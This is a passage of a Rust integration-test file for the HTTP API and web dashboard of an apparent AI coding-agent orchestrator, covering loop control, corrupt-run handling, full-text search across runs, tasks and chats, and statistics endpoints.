17600 assert_eq!(view["owned"], false);
17601 assert_eq!(
17602 view["stopping"], false,
17603 "a loop that has stopped is not still stopping: {view}"
17604 );
17605 assert_eq!(
17606 view["last_error"],
17607 Value::Null,
17608 "a loop that was asked to stop did not fail: {view}"
17609 );
17610
17611 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17614 assert_eq!(twice.status, 200, "{}", twice.body);
17615 }
17616
17617 #[tokio::test]
17618 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17619 let f = Fixture::start().await;
17620 write_daemon(f.home.path(), Timestamp::now());
17623
17624 let view = f.get("/api/loop").await.json();
17625 assert_eq!(view["running"], false, "not in this process: {view}");
17626 assert_eq!(view["owned"], false, "and not this process's to control");
17627 assert_eq!(
17628 view["daemon"]["running"], true,
17629 "but a loop is alive somewhere, which is what the UI must say"
17630 );
17631 assert_eq!(view["daemon"]["pid"], 4242);
17632
17633 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17634 let res = f.post("/api/loop", Some(body)).await;
17635 assert_eq!(
17636 res.status, 409,
17637 "neither button may pretend to work on someone else's loop: {}",
17638 res.body
17639 );
17640 assert!(
17641 res.json()["error"]
17642 .as_str()
17643 .is_some_and(|e| e.contains("4242")),
17644 "the refusal has to name the process the operator must go to: {}",
17645 res.body
17646 );
17647 }
17648 assert_eq!(
17649 f.get("/api/loop").await.json()["running"],
17650 false,
17651 "and the refusal started nothing"
17652 );
17653 }
17654
17655 #[tokio::test]
17656 async fn a_stale_status_file_is_not_a_foreign_owner() {
17657 let f = Fixture::start().await;
17658 write_daemon(
17659 f.home.path(),
17660 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17661 );
17662
17663 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17664 assert_eq!(
17665 res.status, 200,
17666 "a daemon killed a minute ago must not lock the loop out of its \
17667 own home for good: {}",
17668 res.body
17669 );
17670 assert_eq!(res.json()["running"], true);
17671
17672 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17673 }
17674
17675 #[tokio::test]
17676 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17677 let f = Fixture::start().await;
17678 let before = f.get("/api/health").await.json()["loop_rev"]
17679 .as_u64()
17680 .expect("a loop revision");
17681
17682 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17683
17684 let after = f.get("/api/health").await.json()["loop_rev"]
17685 .as_u64()
17686 .expect("a loop revision");
17687 assert!(
17688 after > before,
17689 "the loop is in-process state, so this counter is the only thing \
17690 that tells a second device the first one started it: {before} -> \
17691 {after}"
17692 );
17693
17694 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17695 }
17696
17697 #[tokio::test]
17698 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17699 let f = Fixture::with_loop(launch_broken).await;
17700
17701 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17702 assert_eq!(
17703 res.status, 200,
17704 "starting it is not the failure: {}",
17705 res.body
17706 );
17707
17708 let view = settled(&f, |v| v["last_error"].is_string()).await;
17709 assert_eq!(
17710 view["running"], false,
17711 "a loop that died must not read as running, or the operator has \
17712 nothing to press: {view}"
17713 );
17714 assert_eq!(view["owned"], false);
17715 assert!(
17716 view["last_error"]
17717 .as_str()
17718 .is_some_and(|e| e.contains("read-only file system")),
17719 "the phone is where a loop that died at 3am is visible: {view}"
17720 );
17721
17722 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17725 assert_eq!(again.status, 200, "{}", again.body);
17726 assert!(
17727 again.json()["last_error"]
17728 .as_str()
17729 .is_none_or(|e| !e.contains("read-only file system")),
17730 "a fresh start does not keep showing why the last one died: {}",
17731 again.body
17732 );
17733 }
17734
17735 #[tokio::test]
17736 async fn a_newer_daemon_status_file_still_renders() {
17737 let f = Fixture::start().await;
17738 std::fs::write(
17741 f.home.path().join("daemon.json"),
17742 serde_json::json!({
17743 "schema": 2,
17744 "updated_at": Timestamp::now().to_string(),
17745 "idle": true,
17746 "surprise": { "nested": [1, 2, 3] },
17747 })
17748 .to_string(),
17749 )
17750 .expect("write daemon.json");
17751
17752 let health = f.get("/api/health").await;
17753
17754 assert_eq!(health.status, 200);
17755 assert_eq!(health.json()["daemon"]["running"], true);
17756 }
17757
17758 #[tokio::test]
17759 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17760 let f = Fixture::start().await;
17761 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17762 let broken = f.runs().join("20260902-140502-bad");
17763 std::fs::create_dir_all(&broken).expect("run dir");
17764 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17765
17766 let list = f.get("/api/runs").await;
17767 let detail = f.get("/api/runs/20260902-140502-bad").await;
17768
17769 assert_eq!(list.status, 200);
17770 let listed = list.json();
17771 let ids: Vec<&str> = listed
17772 .as_array()
17773 .expect("an array")
17774 .iter()
17775 .map(|r| r["id"].as_str().expect("an id"))
17776 .collect();
17777 assert_eq!(
17778 ids,
17779 vec!["20260902-140501-good"],
17780 "one unreadable run must not cost the operator the whole history"
17781 );
17782 assert_eq!(detail.status, 500);
17783 assert!(
17784 detail.json()["error"]
17785 .as_str()
17786 .is_some_and(|e| e.contains("run.json")),
17787 "the failure names the file to look at: {}",
17788 detail.body
17789 );
17790 let health = f.get("/api/health").await;
17794 assert_eq!(health.json()["runs_unreadable"], 1);
17795 }
17796
17797 #[tokio::test]
17799 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17800 let f = Fixture::start().await;
17801 let runs = f.runs();
17802 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17803 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17804 let path = runs.join("20260902-140502-bbbb").join("run.json");
17807 let mut v: serde_json::Value =
17808 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17809 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17810 std::fs::write(&path, v.to_string()).unwrap();
17811 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17812 std::fs::write(
17813 runs.join("20260902-140503-cccc").join("run.json"),
17814 "{ not json",
17815 )
17816 .unwrap();
17817
17818 let res = f.get("/api/search?scope=runs&q=quokka").await;
17819 assert_eq!(res.status, 200, "{}", res.body);
17820 let v = res.json();
17821 assert_eq!(v["total"], 1, "{v}");
17822 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17823 assert_eq!(v["hits"][0]["field"], "text");
17824 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17825 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17826 assert!(
17827 parts
17828 .iter()
17829 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17830 "{v}"
17831 );
17832 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17833 assert_eq!(
17834 flat, "The Quokka leaks across threads",
17835 "whitespace is collapsed"
17836 );
17837
17838 let both = f
17840 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17841 .await
17842 .json();
17843 assert_eq!(both["total"], 1, "{both}");
17844 let neither = f
17845 .get("/api/search?scope=runs&q=quokka%20zebra")
17846 .await
17847 .json();
17848 assert_eq!(neither["total"], 0, "{neither}");
17849 let stmt = f
17851 .get("/api/search?scope=runs&q=mobile%20first")
17852 .await
17853 .json();
17854 assert_eq!(stmt["total"], 2, "{stmt}");
17855 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17856 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17857 }
17858
17859 #[test]
17860 fn snippet_ignores_terms_longer_than_the_field() {
17861 let terms = ["ok".to_owned(), "elephant".to_owned()];
17862 let parts = snippet_of("ok", &terms);
17863 assert_eq!(
17864 parts,
17865 vec![SnippetPart {
17866 text: "ok".to_owned(),
17867 hit: true
17868 }]
17869 );
17870 }
17871
17872 #[test]
17873 fn snippet_marks_matches_longer_than_the_window() {
17874 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17875 let hit_len = |parts: &[SnippetPart]| -> usize {
17876 parts
17877 .iter()
17878 .filter(|p| p.hit)
17879 .map(|p| p.text.chars().count())
17880 .sum()
17881 };
17882 let total =
17883 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17884
17885 let long = "a".repeat(120);
17886 let parts = snippet_of(&long, std::slice::from_ref(&long));
17887 assert!(hit_len(&parts) > 0, "{parts:?}");
17888 assert!(total(&parts) <= cap);
17889
17890 let ja = "あ".repeat(130);
17891 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17892 assert!(hit_len(&parts) > 0, "{parts:?}");
17893 assert!(total(&parts) <= cap);
17894
17895 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17897 let term = format!("ab{}", "c".repeat(100));
17898 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17899 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17900 assert!(total(&parts) <= cap);
17901
17902 let text = format!("{}z", "a".repeat(119));
17904 let parts = snippet_of(&text, &["a".repeat(120)]);
17905 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17906 }
17907
17908 #[tokio::test]
17909 async fn search_caps_hits_and_snippet_length() {
17910 let f = Fixture::start().await;
17911 let runs = f.runs();
17912 for n in 0..(SEARCH_MAX_HITS + 5) {
17913 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17914 }
17915 let v = f.get("/api/search?scope=runs&q=web").await.json();
17916 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17917 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17918 assert_eq!(v["truncated"], true);
17919 assert!(
17921 v["hits"]
17922 .as_array()
17923 .unwrap()
17924 .iter()
17925 .all(|h| h["run"]["status"] == "merged")
17926 );
17927
17928 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17929 let parts = snippet_of(&long, &["needle".to_owned()]);
17930 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17931 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17932 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17933 }
17934
17935 #[tokio::test]
17936 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17937 let f = Fixture::start().await;
17938 let queue = f.queue();
17939 let mut t = Task::new(
17940 "short title".to_owned(),
17941 "line one\nthe hidden Armadillo detail".to_owned(),
17942 PathBuf::from("/repo/magi"),
17943 Source::Agent {
17944 run: "r1".to_owned(),
17945 node: "chat".to_owned(),
17946 },
17947 );
17948 t.last_error = Some("disk full on /tmp".to_owned());
17949 queue.put(&mut t).expect("file the task");
17950
17951 for (q, want) in [
17952 ("armadillo", 1),
17953 ("disk%20FULL", 1),
17954 ("chat", 1),
17955 ("queued", 1),
17956 ("short%20nothing", 0),
17957 ] {
17958 let v = f
17959 .get(&format!("/api/search?scope=tasks&q={q}"))
17960 .await
17961 .json();
17962 assert_eq!(v["total"], want, "{q}: {v}");
17963 }
17964 for bad in [
17965 "/api/search?scope=tasks&q=",
17966 "/api/search?scope=tasks&q=%20",
17967 "/api/search?scope=chats&q=",
17968 "/api/search?scope=chats&q=%20",
17969 "/api/search?scope=nope&q=a",
17970 "/api/search?q=a",
17971 ] {
17972 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17973 }
17974 }
17975
17976 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17978 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17979 .expect("seat value");
17980 let turns: Vec<serde_json::Value> = turns
17981 .iter()
17982 .map(|(who, body)| {
17983 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17984 })
17985 .collect();
17986 let doc = serde_json::json!({
17987 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17988 "status": status, "turns": turns,
17989 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17990 "seat": seat,
17991 });
17992 let dir = f.home.path().join("talks");
17993 std::fs::create_dir_all(&dir).expect("talks dir");
17994 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17995 }
17996
17997 #[test]
17998 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
17999 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18000 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18001 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18002 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18003 "seat": crate::agent::SeatState::new("talk", "test", 1)
18004 })).unwrap();
18005 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18006 talk.title = Some(talk::ChatTitle {
18007 text: "最近の話題".into(),
18008 source: talk::TitleSource::Generated,
18009 });
18010 let doc = talk_search_doc(&talk);
18011 assert_eq!(doc["title"], "最近の話題");
18012 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18013 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18014 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18015 }
18016
18017 #[tokio::test]
18018 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18019 let f = Fixture::start().await;
18020 write_talk(
18021 &f,
18022 "20260901-000001-aaaa",
18023 "open",
18024 &[
18025 (
18026 "operator",
18027 "\n Why does the Pangolin cache expire?\nsecond line",
18028 ),
18029 ("agent", "Because the TTL is thirty seconds."),
18030 ],
18031 );
18032 write_talk(
18033 &f,
18034 "20260901-000002-bbbb",
18035 "closed",
18036 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18037 );
18038 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18039
18040 let search = |q: &'static str| {
18041 let f = &f;
18042 async move {
18043 f.get(&format!("/api/search?scope=chats&q={q}"))
18044 .await
18045 .json()
18046 }
18047 };
18048
18049 let v = search("PANGOLIN").await;
18050 assert_eq!(v["scope"], "chats");
18051 assert_eq!(v["total"], 1, "{v}");
18052 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18053 assert_eq!(v["hits"][0]["field"], "title");
18054 assert_eq!(v["unreadable"], 1, "{v}");
18055 let marked: Vec<&str> = v["hits"][0]["snippet"]
18056 .as_array()
18057 .unwrap()
18058 .iter()
18059 .filter(|p| p["hit"] == true)
18060 .map(|p| p["text"].as_str().unwrap())
18061 .collect();
18062 assert_eq!(marked, ["Pangolin"]);
18063
18064 let v = search("zebra").await;
18066 assert_eq!(v["total"], 1, "{v}");
18067 assert_eq!(v["hits"][0]["field"], "agent");
18068 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18070 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18071 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18073 assert_eq!(search(q).await["total"], 0, "{q}");
18074 }
18075 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18077 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18079
18080 let v = f.get("/api/search?scope=nope&q=a").await;
18081 assert_eq!(v.status, 400);
18082 assert!(
18083 v.body.contains("scope must be runs, tasks or chats"),
18084 "{}",
18085 v.body
18086 );
18087 }
18088
18089 #[test]
18090 fn a_question_card_links_a_task_id_to_the_task_page() {
18091 let start = APP_JS
18092 .find("function updateAskCard(")
18093 .expect("updateAskCard exists");
18094 let body = &APP_JS[start..];
18095 let body = &body[..body.find("\n}\n").expect("function end")];
18096 assert!(body.contains("question.run_is_task"));
18097 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18098 assert!(body.contains("`#/runs/${question.run}`"));
18099 assert!(body.contains("\"task\" : \"run\""));
18100 }
18101
18102 #[test]
18103 fn plain_text_message_surfaces_go_through_linkify() {
18104 assert!(APP_JS.contains("function linkify("));
18105 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18106 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18107 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18108 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18109 assert!(!APP_JS.contains("innerHTML = text"));
18110 }
18111
18112 #[test]
18113 fn implementation_rate_views_keep_independent_samples() {
18114 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18115 let a = stats::AgentStats {
18116 competitive_entered: competitive_n,
18117 competitive_wins: usize::from(competitive_n > 0),
18118 solo_entered: solo_n,
18119 solo_adopted: 2 * usize::from(solo_n > 0),
18120 ..Default::default()
18121 };
18122 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18123 for (key, n, numerator) in [
18124 ("competitive_win_rate", competitive_n, a.competitive_wins),
18125 ("solo_adoption_rate", solo_n, a.solo_adopted),
18126 ] {
18127 if n == 0 {
18128 assert!(v[key].is_null());
18129 } else {
18130 assert_eq!(v[key]["denominator"], n);
18131 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18132 }
18133 }
18134 }
18135 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18136 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18137 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18138 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18139 }
18140
18141 #[test]
18142 fn stats_bars_share_one_id_keyed_plan() {
18143 let start = APP_JS
18144 .find("function statsBarRows(")
18145 .expect("statsBarRows exists");
18146 let body = &APP_JS[start..];
18147 let body = &body[..body.find("\n}\n").expect("function end")];
18148 assert!(body.contains("statsBarPlan(rows)"));
18149 assert!(body.contains("statsAgentTone(row.agent)"));
18150 assert!(!body.contains("candTone(i)"));
18151 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18152 for root in [
18153 "stats-agents-bars",
18154 "stats-solo-bars",
18155 "stats-reviewers-bars",
18156 ] {
18157 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18158 }
18159 }
18160
18161 #[test]
18162 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18163 let start = APP_JS
18164 .find("function renderStatsReviewerScatter(")
18165 .expect("renderStatsReviewerScatter exists");
18166 let body = &APP_JS[start..];
18167 let body = &body[..body.find("\n}\n").expect("function end")];
18168 assert!(body.contains("statsScatterPlan(reviewers)"));
18169 assert!(body.contains("statsAgentTone(d.agent)"));
18170 assert!(APP_JS.contains("function statsScatterPlan("));
18171 assert!(
18172 APP_JS.contains("d.submitted < STATS_LOW_N")
18173 || APP_JS.contains("r.submitted < STATS_LOW_N")
18174 );
18175 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18176 assert!(APP_CSS.contains(".precision-scatter"));
18177 }
18178
18179 #[test]
18180 fn advisor_reflection_is_drawn_as_stacked_segments() {
18181 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18182 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18183 let html = include_str!("../assets/ui/index.html");
18184 assert!(html.contains("Approximate"));
18185 for label in ["reflected strongly", "faint", "no proposal"] {
18186 assert!(html.contains(label));
18187 }
18188 let css = include_str!("../assets/ui/app.css");
18189 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18190 assert!(css.contains(&format!(".{c} {{")));
18191 }
18192 }
18193
18194 #[test]
18195 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18196 assert!(APP_JS.contains("function statsDailyPlan("));
18197 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18198 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18199 }
18200
18201 #[test]
18202 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18203 let start = APP_JS
18204 .find("function scheduleSearch(")
18205 .expect("scheduleSearch exists");
18206 let body = &APP_JS[start..];
18207 let body = &body[..body.find("\n}\n").expect("function end")];
18208 assert!(body.contains("s.seq += 1"));
18209 }
18210
18211 #[tokio::test]
18216 async fn stats_runs_unreadable_matches_health() {
18217 let f = Fixture::start().await;
18218 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18219 let broken = f.runs().join("20260902-140502-bad");
18220 std::fs::create_dir_all(&broken).expect("run dir");
18221 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18222
18223 let stats = f.get("/api/stats").await;
18224 let health = f.get("/api/health").await;
18225
18226 assert_eq!(stats.status, 200);
18227 assert_eq!(stats.json()["totals"]["runs"], 1);
18228 assert_eq!(stats.json()["runs_unreadable"], 1);
18229 assert_eq!(
18230 stats.json()["runs_unreadable"],
18231 health.json()["runs_unreadable"],
18232 "the dashboard and /api/health must never disagree about how many \
18233 runs could not be read"
18234 );
18235 }
18236
18237 #[tokio::test]
18238 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18239 let f = Fixture::start().await;
18240 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18241 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18242 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18243
18244 let totals = &f.get("/api/stats").await.json()["totals"];
18245 assert_eq!(totals["runs"], 3);
18246 assert_eq!(totals["merged"], 1);
18247 assert_eq!(totals["stalled"], 1);
18248 assert_eq!(totals["in_progress"], 1);
18249 assert_eq!(totals["blocked"], 0);
18252 assert_eq!(totals["ready"], 0);
18253 }
18254
18255 #[tokio::test]
18256 async fn stats_advisors_report_proposals_and_reflection() {
18257 use crate::advise::{Advice, AdvisorRecord, Reflection};
18258 use crate::verdict::Proposal;
18259
18260 let f = Fixture::start().await;
18261 let mut state = RunState::new(
18262 PathBuf::from("/repo/magi"),
18263 "main".to_owned(),
18264 "0123456789abcdef".to_owned(),
18265 "task".to_owned(),
18266 Config::default(),
18267 );
18268 state.id = "20260902-140501-a".to_owned();
18269 state.status = RunStatus::Merged;
18270 state.advice = Some(Advice {
18271 records: vec![
18272 AdvisorRecord {
18273 seat: "advisor-1".to_owned(),
18274 agent: "alpha".to_owned(),
18275 proposal: Some(Proposal {
18276 approach: "do it".to_owned(),
18277 key_tradeoff: "speed over memory".to_owned(),
18278 risks: Vec::new(),
18279 touches: Vec::new(),
18280 why_not_naive: "breaks under load".to_owned(),
18281 }),
18282 error: None,
18283 duration_ms: 0,
18284 reflection: Reflection::Strong,
18285 },
18286 AdvisorRecord {
18287 seat: "advisor-2".to_owned(),
18288 agent: "alpha".to_owned(),
18289 proposal: None,
18290 error: Some("timed out".to_owned()),
18291 duration_ms: 0,
18292 reflection: Reflection::Absent,
18293 },
18294 ],
18295 synthesis: Some("blended brief".to_owned()),
18296 });
18297 let dir = f.runs().join(&state.id);
18298 std::fs::create_dir_all(&dir).expect("run dir");
18299 std::fs::write(
18300 dir.join("run.json"),
18301 serde_json::to_string_pretty(&state).expect("serialize run"),
18302 )
18303 .expect("write run.json");
18304
18305 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18307 let alpha = advisors
18308 .as_array()
18309 .expect("an array")
18310 .iter()
18311 .find(|a| a["agent"] == "alpha")
18312 .expect("alpha row");
18313 assert_eq!(alpha["seated"], 2);
18314 assert_eq!(alpha["proposed"], 1);
18315 assert_eq!(alpha["absent"], 1);
18316 assert_eq!(alpha["strong"], 1);
18317 assert_eq!(alpha["faint"], 0);
18318 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18319 }
18320
18321 #[tokio::test]
18322 async fn stats_hides_agents_outside_the_roster_unless_all() {
18323 use crate::run::Candidate;
18324 let repo = TempDir::new().expect("repo dir");
18325 std::fs::write(
18326 repo.path().join("magi.toml"),
18327 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18328 )
18329 .expect("magi.toml");
18330 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18331 let mut state = RunState::new(
18332 PathBuf::from("/repo/magi"),
18333 "main".to_owned(),
18334 "0123456789abcdef".to_owned(),
18335 "task".to_owned(),
18336 Config::default(),
18337 );
18338 state.id = "20260902-140501-a".to_owned();
18339 state.status = RunStatus::Merged;
18340 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18341 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18342 "index": 0, "label": label.to_string(), "agent": agent,
18343 "branch": "b", "worktree": "/w",
18344 }))
18345 .expect("candidate");
18346 c.label = label;
18347 state.candidates.push(c);
18348 }
18349 let dir = f.runs().join(&state.id);
18350 std::fs::create_dir_all(&dir).expect("run dir");
18351 std::fs::write(
18352 dir.join("run.json"),
18353 serde_json::to_string_pretty(&state).expect("serialize run"),
18354 )
18355 .expect("write run.json");
18356
18357 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18358 v["agents"]
18359 .as_array()
18360 .expect("array")
18361 .iter()
18362 .map(|a| a["agent"].as_str().unwrap().to_owned())
18363 .collect()
18364 };
18365 let hidden = f.get("/api/stats").await.json();
18366 assert_eq!(agents_of(&hidden), ["keep"]);
18367 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18368 assert_eq!(hidden["totals"]["runs"], 1);
18369
18370 let all = f.get("/api/stats?all=true").await.json();
18371 assert_eq!(agents_of(&all).len(), 2);
18372 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18373 let keep_agent = all["agents"]
18375 .as_array()
18376 .unwrap()
18377 .iter()
18378 .find(|a| a["agent"] == "keep")
18379 .unwrap();
18380 assert_eq!(keep_agent["competitive_entered"], 1);
18381 assert_eq!(keep_agent["competitive_wins"], 0);
18382 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18383 assert_eq!(keep_agent["solo_entered"], 0);
18384 assert_eq!(keep_agent["solo_adopted"], 0);
18385 assert!(keep_agent["solo_adoption_rate"].is_null());
18386 }
18387
18388 #[tokio::test]
18389 async fn stats_release_bumps_split_clean_from_attention() {
18390 use crate::run::ReleaseBump;
18391
18392 let f = Fixture::start().await;
18393
18394 let mut clean = RunState::new(
18395 PathBuf::from("/repo/magi"),
18396 "main".to_owned(),
18397 "0123456789abcdef".to_owned(),
18398 "task".to_owned(),
18399 Config::default(),
18400 );
18401 clean.id = "20260902-140501-a".to_owned();
18402 clean.status = RunStatus::Merged;
18403 clean.release_bump = Some(ReleaseBump {
18404 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18405 version: Some("1.0.0".to_owned()),
18406 automerge_enabled: true,
18407 merged_directly: false,
18408 local: false,
18409 release: None,
18410 problem: None,
18411 action_required: None,
18412 skipped: None,
18413 });
18414
18415 let mut blocked = RunState::new(
18416 PathBuf::from("/repo/magi"),
18417 "main".to_owned(),
18418 "0123456789abcdef".to_owned(),
18419 "task".to_owned(),
18420 Config::default(),
18421 );
18422 blocked.id = "20260902-140502-b".to_owned();
18423 blocked.status = RunStatus::Merged;
18424 blocked.release_bump = Some(ReleaseBump {
18425 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18426 version: Some("1.0.1".to_owned()),
18427 automerge_enabled: false,
18428 merged_directly: false,
18429 local: false,
18430 release: None,
18431 problem: Some("checks red".to_owned()),
18432 action_required: Some("look at the PR".to_owned()),
18433 skipped: None,
18434 });
18435
18436 for state in [&clean, &blocked] {
18437 let dir = f.runs().join(&state.id);
18438 std::fs::create_dir_all(&dir).expect("run dir");
18439 std::fs::write(
18440 dir.join("run.json"),
18441 serde_json::to_string_pretty(state).expect("serialize run"),
18442 )
18443 .expect("write run.json");
18444 }
18445
18446 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18447 assert_eq!(bumps["merged"], 2);
18448 assert_eq!(bumps["recorded"], 2);
18449 assert_eq!(bumps["pr_opened"], 2);
18450 assert_eq!(bumps["automerge_enabled"], 1);
18451 assert_eq!(bumps["needs_attention"], 1);
18452 assert_eq!(bumps["clean"], 1);
18453 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18454 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18455 }
18456
18457 #[tokio::test]
18458 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18459 let f = Fixture::start().await;
18460 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18461
18462 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18463 assert_eq!(bumps["merged"], 1);
18464 assert_eq!(bumps["recorded"], 0);
18465 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18468 assert_eq!(bumps["automerge_rate"], Value::Null);
18471 assert_eq!(bumps["attention_rate"], Value::Null);
18472 }
18473
18474 #[tokio::test]
18475 async fn stats_queue_counts_come_from_the_live_queue() {
18476 let f = Fixture::start().await;
18477 let q = f.queue();
18478 let mut queued = Task::new(
18479 "queued task".to_owned(),
18480 "do it".to_owned(),
18481 PathBuf::from("/repo"),
18482 Source::Human,
18483 );
18484 q.put(&mut queued).expect("put queued");
18485 let mut held = Task::new(
18486 "held task".to_owned(),
18487 "do it later".to_owned(),
18488 PathBuf::from("/repo"),
18489 Source::Human,
18490 );
18491 held.hold_machine(Some("out of attempts".to_owned()));
18492 q.put(&mut held).expect("put held");
18493
18494 let queue = f.get("/api/stats").await.json()["queue"].clone();
18495 assert_eq!(queue["queued"], 1);
18496 assert_eq!(queue["held"], 1);
18497 assert_eq!(queue["running"], 0);
18498 assert_eq!(queue["done"], 0);
18499 assert_eq!(queue["failed"], 0);
18500 assert_eq!(queue["blocked"], 0);
18501 }
18502
18503 #[tokio::test]
18504 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
